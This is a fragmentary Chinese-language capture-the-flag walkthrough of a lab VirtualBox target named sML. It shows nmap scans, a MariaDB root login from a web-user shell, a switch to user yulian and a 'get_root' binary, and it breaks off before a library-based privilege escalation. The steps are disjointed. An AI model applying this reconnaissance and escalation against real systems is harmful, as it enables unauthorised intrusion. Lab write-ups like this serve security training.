┌──(root㉿kali)-[/miao/maze-sec/sml] └─# nmap -sn 192.168.2.0/24 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-10 15:36 CST Nmap scan report for 192.168.2.1 Host is up (0.00044s latency). MAC Address: 0A:00:27:00:00:0A (Unknown) Nmap scan report for 192.168.2.2 Host is up (0.00027s latency). MAC Address: 08:00:27:DB:21:14 (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.2.52 Host is up (0.00096s latency). MAC Address: 08:00:27:96:5F:B8 (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.2.4 Host is up. Nmap done: 256 IP addresses (4 hosts up) scanned in 2.04 seconds
靶机IP:192.168.2.52
二、端口扫描
1、全端口扫描
1 2 3 4 5 6 7 8 9 10 11 12
┌──(root㉿kali)-[/miao/maze-sec/sml] └─# nmap --min-rate 10000 -p- 192.168.2.52 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-10 17:13 CST Nmap scan report for 192.168.2.52 Host is up (0.00058s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:96:5F:B8 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 39.98 seconds
┌──(root㉿kali)-[/miao/maze-sec/sml] └─# nmap --min-rate 10000 -sT -sV -sC -O -p22,80 192.168.2.52 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-10 17:13 CST Nmap scan report for 192.168.2.52 Host is up (0.00049s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) | ssh-hostkey: | 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA) | 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA) |_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519) 80/tcp open http Apache httpd 2.4.62 ((Debian)) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-server-header: Apache/2.4.62 (Debian) |_http-title: Hello everyone! MAC Address: 08:00:27:96:5F:B8 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.51 seconds
3、UDP端口扫描
1 2 3 4 5 6 7 8 9 10
┌──(root㉿kali)-[/miao/maze-sec/sml] └─# nmap -sU --top-ports 100 192.168.2.52 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-10 17:11 CST Nmap scan report for 192.168.2.52 Host is up (0.00090s latency). All 100 scanned ports on 192.168.2.52 are in ignored states. Not shown: 57 closed udp ports (port-unreach), 43 open|filtered udp ports (no-response) MAC Address: 08:00:27:96:5F:B8 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 53.81 seconds
$db_connect = mysqli_connect($mysql_hostname, $mysql_user,$mysql_password, $mysql_database) or ("Could not connect database"); ?>
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
www-data@sML:/var/www/html/inc$ mysql -u root -p Enter password: Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 15 Server version: 10.5.23-MariaDB-0+deb11u1 Debian 11
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h'forhelp. Type '\c' to clear the current input statement.
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. yulian@sML:~$ id uid=1000(yulian) gid=1000(yulian) groups=1000(yulian)
2、重新构造库文件
用户yulian的/home目录下面找到一个文件get_root,尝试去运行,发现输出hello world
1 2 3
www-data@sML:/home/yulian$ ./get_root Starting get_root program... hello world